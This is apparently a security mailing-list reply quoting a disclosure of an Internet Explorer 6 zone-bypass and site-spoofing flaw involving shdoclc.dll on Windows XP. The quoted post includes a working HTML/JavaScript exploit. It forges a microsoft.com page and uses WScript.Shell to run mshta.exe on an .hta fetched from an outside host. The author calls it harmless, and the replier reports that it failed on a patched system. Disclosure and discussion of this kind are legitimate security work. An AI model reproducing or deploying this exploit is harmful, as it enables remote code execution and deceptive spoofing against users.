Hi!

Well, in my fully patched IE 60 (Eng) on Win XP Pro Corporate it asked me
for permission to execute ActiveX, then (I clicked Yes) it said to me that
access was denied in line 20 of your hta. Execution was performed in
Internet zone...

Regards,
 Vladimir

Subject: Windows XP Prof and shdoclc.dll - zone-pass and site spoofing

details:

OS: Windows XP Prof (fully patched), IE 6.0
LANG: Polish (of course).

VULN:

1.this is zone-by-pass. Opening IE window is in My Computer zone.
You can paste script into this page and it will be executed as local.
I think this is very serious vuln.

2.site spoofing. You can create spoofed link. User when 
clicking will think he is going to for example microsoft.com. 
It will open page with microsoft.com URL in address bar. You 
can paste your own page to this window and user won't know 
this page is spoofed.This is also very serious problem.

EXPLOIT:

<html><body>
&lt;script&gt;
klocek = window.open('res://c:\\windows\\system32
\\shdoclc.dll/http_404.htm#http://www.microsoft.com','_meia&apos;);

klocek.document.write("<html><head><title>Microsoft.com</title>");
klocek.document.write("</head><body>Site moved to <a 
href=\"http://wb.pl/bartosz\";> Bartosz Kwitkowski Home Page 
"+"<"+"/a>:-) Vuln by Bartosz Kwitkowski\n"); 
klocek.document.write("<"+"script>\n");
klocek.document.write("alert(\"ATTACKING!\");\n");

klocek.document.write("var wsh=new 
ActiveXObject('WScript.Shell');\n");
klocek.document.write("wsh.Run('mshta.exe
http://wb.pl/bartosz/hta/start2.hta&apos;);\n");

klocek.document.write("<"+"/script>\n");
klocek.document.write("</body></html>\n");

&lt;/script&gt;
</body></html>

----end--------

This is safe exploit so you can execute it if you want...
start2.hta contains script which changes your C: disk label 
to "new label".

PS: Sorry my English, but... :-)
